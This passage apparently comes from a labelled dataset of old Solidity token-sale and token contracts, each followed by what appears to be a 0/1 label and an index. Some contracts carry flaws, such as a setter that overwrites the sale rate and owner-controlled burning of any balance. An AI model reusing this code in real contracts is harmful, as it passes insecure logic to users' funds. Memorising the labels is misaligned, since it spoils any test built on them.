function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale2 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale2Finished = false;
address public multisig;
uint public rate;
uint public tokenCap;
uint public start;
uint public period;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale2() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
tokenCap = 25000000000000000000000;
start = 1518739200;
period = 8;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale2() public constant returns (uint) {
return this.balance;
}
function finishPreSale2() public onlyOwner returns (bool) {
if(now > start + period * 1 days || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale2Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
uint totalSupply = token.totalSupply();
if (totalSupply <= tokenCap) {
bonusTokens = tokens.div(2);
} else bonusTokens = tokens.mul(40).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 1 | 4,788 |
pragma solidity ^0.4.11;
contract Base {
function max(uint a, uint b) returns (uint) { return a >= b ? a : b; }
function min(uint a, uint b) returns (uint) { return a <= b ? a : b; }
modifier only(address allowed) {
if (msg.sender != allowed) throw;
_;
}
function isContract(address _addr) constant internal returns (bool) {
if (_addr == 0) return false;
uint size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
uint constant internal L00 = 2 ** 0;
uint constant internal L01 = 2 ** 1;
uint constant internal L02 = 2 ** 2;
uint constant internal L03 = 2 ** 3;
uint constant internal L04 = 2 ** 4;
uint constant internal L05 = 2 ** 5;
uint private bitlocks = 0;
modifier noReentrancy(uint m) {
var _locks = bitlocks;
if (_locks & m > 0) throw;
bitlocks |= m;
_;
bitlocks = _locks;
}
modifier noAnyReentrancy {
var _locks = bitlocks;
if (_locks > 0) throw;
bitlocks = uint(-1);
_;
bitlocks = _locks;
}
modifier reentrant { _; }
}
contract MintableToken {
function mint(uint amount, address account);
function start();
}
contract Owned is Base {
address public owner;
address public newOwner;
function Owned() {
owner = msg.sender;
}
function transferOwnership(address _newOwner) only(owner) {
newOwner = _newOwner;
}
function acceptOwnership() only(newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract BalanceStorage {
function balances(address account) public constant returns(uint balance);
}
contract AddressList {
function contains(address addr) public constant returns (bool);
}
contract MinMaxWhiteList {
function allowed(address addr) public constant returns (uint , uint );
}
contract PresaleBonusVoting {
function rawVotes(address addr) public constant returns (uint rawVote);
}
contract CrowdsaleMinter is Owned {
string public constant VERSION = "0.2.1-TEST.MAX.4";
uint public constant COMMUNITY_SALE_START = 3972490;
uint public constant PRIORITY_SALE_START = 3972590;
uint public constant PUBLIC_SALE_START = 3972700;
uint public constant PUBLIC_SALE_END = 3972810;
uint public constant WITHDRAWAL_END = 3972920;
address public TEAM_GROUP_WALLET = 0x215aCB37845027cA64a4f29B2FCb7AffA8E9d326;
address public ADVISERS_AND_FRIENDS_WALLET = 0x41ab8360dEF1e19FdFa32092D83a7a7996C312a4;
uint public constant TEAM_BONUS_PER_CENT = 18;
uint public constant ADVISORS_AND_PARTNERS_PER_CENT = 10;
MintableToken public TOKEN = MintableToken(0x00000000000000000000000000);
AddressList public PRIORITY_ADDRESS_LIST = AddressList(0x463635eFd22558c64Efa6227A45649eeDc0e4888);
MinMaxWhiteList public COMMUNITY_ALLOWANCE_LIST = MinMaxWhiteList(0x26c63d631A307897d76Af5f02A08A09b3395DCb9);
BalanceStorage public PRESALE_BALANCES = BalanceStorage(0x4Fd997Ed7c10DbD04e95d3730cd77D79513076F2);
PresaleBonusVoting public PRESALE_BONUS_VOTING = PresaleBonusVoting(0x283a97Af867165169AECe0b2E963b9f0FC7E5b8c);
uint public constant COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH = 4;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 3;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 200;
uint public constant TOKEN_PER_ETH = 1000;
uint public constant PRE_SALE_BONUS_PER_CENT = 54;
function CrowdsaleMinter() {
if (
TOKEN_PER_ETH == 0
|| TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT >=100
|| MIN_ACCEPTED_AMOUNT_FINNEY < 1
|| owner == 0x0
|| address(COMMUNITY_ALLOWANCE_LIST) == 0x0
|| address(PRIORITY_ADDRESS_LIST) == 0x0
|| address(PRESALE_BONUS_VOTING) == 0x0
|| address(PRESALE_BALANCES) == 0x0
|| COMMUNITY_SALE_START == 0
|| PRIORITY_SALE_START == 0
|| PUBLIC_SALE_START == 0
|| PUBLIC_SALE_END == 0
|| WITHDRAWAL_END == 0
|| MIN_TOTAL_AMOUNT_TO_RECEIVE == 0
|| MAX_TOTAL_AMOUNT_TO_RECEIVE == 0
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP == 0
|| COMMUNITY_SALE_START <= block.number
|| COMMUNITY_SALE_START >= PRIORITY_SALE_START
|| PRIORITY_SALE_START >= PUBLIC_SALE_START
|| PUBLIC_SALE_START >= PUBLIC_SALE_END
|| PUBLIC_SALE_END >= WITHDRAWAL_END
|| COMMUNITY_PLUS_PRIORITY_SALE_CAP > MAX_TOTAL_AMOUNT_TO_RECEIVE
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
}
bool public isAborted = false;
mapping (address => uint) public balances;
bool public TOKEN_STARTED = false;
uint public total_received_amount;
address[] public investors;
function investorsCount() constant external returns(uint) { return investors.length; }
function TOTAL_RECEIVED_ETH() constant external returns (uint) { return total_received_amount / 1 ether; }
function state() constant external returns (string) { return stateNames[ uint(currentState()) ]; }
function san_whitelist(address addr) public constant returns(uint, uint) { return COMMUNITY_ALLOWANCE_LIST.allowed(addr); }
function cfi_whitelist(address addr) public constant returns(bool) { return PRIORITY_ADDRESS_LIST.contains(addr); }
string[] private stateNames = ["BEFORE_START", "COMMUNITY_SALE", "PRIORITY_SALE", "PRIORITY_SALE_FINISHED", "PUBLIC_SALE", "BONUS_MINTING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, COMMUNITY_SALE, PRIORITY_SALE, PRIORITY_SALE_FINISHED, PUBLIC_SALE, BONUS_MINTING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint private constant COMMUNITY_PLUS_PRIORITY_SALE_CAP = COMMUNITY_PLUS_PRIORITY_SALE_CAP_ETH * 1 ether;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool private allBonusesAreMinted = false;
function ()
payable
noAnyReentrancy
{
State state = currentState();
uint amount_allowed;
if (state == State.COMMUNITY_SALE) {
var (min_finney, max_finney) = COMMUNITY_ALLOWANCE_LIST.allowed(msg.sender);
var (min, max) = (min_finney * 1 finney, max_finney * 1 finney);
var sender_balance = balances[msg.sender];
assert (sender_balance <= max);
assert (msg.value >= min);
amount_allowed = max - sender_balance;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PRIORITY_SALE) {
assert (PRIORITY_ADDRESS_LIST.contains(msg.sender));
amount_allowed = COMMUNITY_PLUS_PRIORITY_SALE_CAP - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.PUBLIC_SALE) {
amount_allowed = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
_receiveFundsUpTo(amount_allowed);
} else if (state == State.REFUND_RUNNING) {
_sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noAnyReentrancy
{
_sendRefund();
}
function withdrawFundsAndStartToken() external
inState(State.WITHDRAWAL_RUNNING)
noAnyReentrancy
only(owner)
{
if (!owner.send(this.balance)) throw;
if (TOKEN.call(bytes4(sha3("start()")))) {
TOKEN_STARTED = true;
TokenStarted(TOKEN);
}
}
event TokenStarted(address tokenAddr);
function mintAllBonuses() external
inState(State.BONUS_MINTING)
noAnyReentrancy
{
assert(!allBonusesAreMinted);
allBonusesAreMinted = true;
uint TEAM_AND_PARTNERS_PER_CENT = TEAM_BONUS_PER_CENT + ADVISORS_AND_PARTNERS_PER_CENT;
uint total_presale_amount_with_bonus = mintPresaleBonuses();
uint total_collected_amount = total_received_amount + total_presale_amount_with_bonus;
uint extra_amount = total_collected_amount * TEAM_AND_PARTNERS_PER_CENT / (100 - TEAM_AND_PARTNERS_PER_CENT);
uint extra_team_amount = extra_amount * TEAM_BONUS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
uint extra_partners_amount = extra_amount * ADVISORS_AND_PARTNERS_PER_CENT / TEAM_AND_PARTNERS_PER_CENT;
_mint(extra_team_amount , TEAM_GROUP_WALLET);
_mint(extra_partners_amount, ADVISERS_AND_FRIENDS_WALLET);
}
function mintPresaleBonuses() internal returns(uint amount) {
uint total_presale_amount_with_bonus = 0;
for(uint i=0; i < PRESALE_ADDRESSES.length; ++i) {
address addr = PRESALE_ADDRESSES[i];
var amount_with_bonus = presaleTokenAmount(addr);
if (amount_with_bonus>0) {
_mint(amount_with_bonus, addr);
total_presale_amount_with_bonus += amount_with_bonus;
}
}
return total_presale_amount_with_bonus;
}
function presaleTokenAmount(address addr) public constant returns(uint){
uint presale_balance = PRESALE_BALANCES.balances(addr);
if (presale_balance > 0) {
var rawVote = PRESALE_BONUS_VOTING.rawVotes(addr);
if (rawVote == 0) rawVote = 1 ether;
else if (rawVote <= 10 finney) rawVote = 0;
else if (rawVote > 1 ether) rawVote = 1 ether;
var presale_bonus = presale_balance * PRE_SALE_BONUS_PER_CENT * rawVote / 1 ether / 100;
return presale_balance + presale_bonus;
} else {
return 0;
}
}
function attachToToken(MintableToken tokenAddr) external
inState(State.BEFORE_START)
only(owner)
{
TOKEN = tokenAddr;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
only(owner)
{
isAborted = true;
}
function _sendRefund() private
tokenHoldersOnly
{
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function _receiveFundsUpTo(uint amount) private
notTooSmallAmountOnly
{
require (amount > 0);
if (msg.value > amount) {
var change_to_return = msg.value - amount;
if (!msg.sender.send(change_to_return)) throw;
} else {
amount = msg.value;
}
if (balances[msg.sender] == 0) investors.push(msg.sender);
balances[msg.sender] += amount;
total_received_amount += amount;
_mint(amount,msg.sender);
}
function _mint(uint amount, address account) private {
MintableToken(TOKEN).mint(amount * TOKEN_PER_ETH, account);
}
function currentState() private constant
returns (State)
{
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < COMMUNITY_SALE_START || address(TOKEN) == 0x0) {
return State.BEFORE_START;
} else if (block.number < PRIORITY_SALE_START) {
return State.COMMUNITY_SALE;
} else if (block.number < PUBLIC_SALE_START) {
return total_received_amount < COMMUNITY_PLUS_PRIORITY_SALE_CAP
? State.PRIORITY_SALE
: State.PRIORITY_SALE_FINISHED;
} else if (block.number <= PUBLIC_SALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PUBLIC_SALE;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return allBonusesAreMinted
? State.WITHDRAWAL_RUNNING
: State.BONUS_MINTING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
address[] PRESALE_ADDRESSES = [
0xF55DFd2B02Cf3282680C94BD01E9Da044044E6A2,
0x0D40B53828948b340673674Ae65Ee7f5D8488e33,
0x0ea690d466d6bbd18F124E204EA486a4Bf934cbA,
0x6d25B9f40b92CcF158250625A152574603465192,
0x481Da0F1e89c206712BCeA4f7D6E60d7b42f6C6C,
0x416EDa5D6Ed29CAc3e6D97C102d61BC578C5dB87,
0xD78Ac6FFc90E084F5fD563563Cc9fD33eE303f18,
0xe6714ab523acEcf9b85d880492A2AcDBe4184892,
0x285A9cA5fE9ee854457016a7a5d3A3BB95538093,
0x600ca6372f312B081205B2C3dA72517a603a15Cc,
0x2b8d5C9209fBD500Fd817D960830AC6718b88112,
0x4B15Dd23E5f9062e4FB3a9B7DECF653C0215e560,
0xD67449e6AB23c1f46dea77d3f5E5D47Ff33Dc9a9,
0xd0ADaD7ed81AfDa039969566Ceb8423E0ab14d90,
0x245f27796a44d7E3D30654eD62850ff09EE85656,
0x639D6eC2cef4d6f7130b40132B3B6F5b667e5105,
0x5e9a69B8656914965d69d8da49c3709F0bF2B5Ef,
0x0832c3B801319b62aB1D3535615d1fe9aFc3397A,
0xf6Dd631279377205818C3a6725EeEFB9D0F6b9F3,
0x47696054e71e4c3f899119601a255a7065C3087B,
0xf107bE6c6833f61A24c64D63c8A7fcD784Abff06,
0x056f072Bd2240315b708DBCbDDE80d400f0394a1,
0x9e5BaeC244D8cCD49477037E28ed70584EeAD956,
0x40A0b2c1B4E30F27e21DF94e734671856b485966,
0x84f0620A547a4D14A7987770c4F5C25d488d6335,
0x036Ac11c161C09d94cA39F7B24C1bC82046c332B,
0x2912A18C902dE6f95321D6d6305D7B80Eec4C055,
0xE1Ad30971b83c17E2A24c0334CB45f808AbEBc87,
0x07f35b7FE735c49FD5051D5a0C2e74c9177fEa6d,
0x11669Cce6AF3ce1Ef3777721fCC0eef0eE57Eaba,
0xBDbaF6434d40D6355B1e80e40Cc4AB9C68D96116,
0x17125b59ac51cEe029E4bD78D7f5947D1eA49BB2,
0xA382A3A65c3F8ee2b726A2535B3c34A89D9094D4,
0xAB78c8781fB64Bed37B274C5EE759eE33465f1f3,
0xE74F2062612E3cAE8a93E24b2f0D3a2133373884,
0x505120957A9806827F8F111A123561E82C40bC78,
0x00A46922B1C54Ae6b5818C49B97E03EB4BB352e1,
0xE76fE52a251C8F3a5dcD657E47A6C8D16Fdf4bFA
];
} | 0 | 939 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
} | 1 | 5,330 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) whenNotPaused onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) whenNotPaused onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) whenNotPaused {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken {
using SafeMath for uint;
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint _amount) whenNotPaused onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
using SafeMath for uint;
event Burn(address indexed from, uint value);
function burn(address _from, uint _amount) whenNotPaused onlyOwner returns (bool) {
totalSupply = totalSupply.sub(_amount);
balances[_from] = balances[_from].sub(_amount);
Burn(_from, _amount);
return true;
}
}
contract DealToken is MintableToken, BurnableToken {
using SafeMath for uint256;
string public constant name = "Deal Token";
string public constant symbol = "DEAL";
uint8 public constant decimals = 8;
function DealToken() public {
totalSupply = 40000000000000000;
balances[msg.sender] = totalSupply;
}
} | 1 | 4,423 |
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public pure returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract StandardToken is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract Recoverable is Ownable {
constructor() public {
}
function recoverTokens(IERC20 token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(IERC20 token) public view returns (uint) {
return token.balanceOf(this);
}
}
contract BurnableToken is StandardToken, Ownable {
event BurningAgentAdded(address indexed account);
event BurningAgentRemoved(address indexed account);
mapping (address => bool) public isBurningAgent;
modifier canBurn() {
require(isBurningAgent[msg.sender]);
_;
}
function setBurningAgent(address _address, bool _status) public onlyOwner {
require(_address != address(0));
isBurningAgent[_address] = _status;
if(_status) {
emit BurningAgentAdded(_address);
} else {
emit BurningAgentRemoved(_address);
}
}
function burn(
uint256 _value
)
public
canBurn
returns (bool)
{
_burn(msg.sender, _value);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
uint256 mintLockPeriod = 1575158399;
mapping (address => bool) public isMinter;
modifier canMint() {
require(isMinter[msg.sender]);
_;
}
function setMintingAgent(address _address, bool _status) public onlyOwner {
require(_address != address(0));
isMinter[_address] = _status;
if(_status) {
emit MinterAdded(_address);
} else {
emit MinterRemoved(_address);
}
}
function mint(
address _to,
uint256 _value
)
public
canMint
returns (bool)
{
require(block.timestamp > mintLockPeriod);
_mint(_to, _value);
return true;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
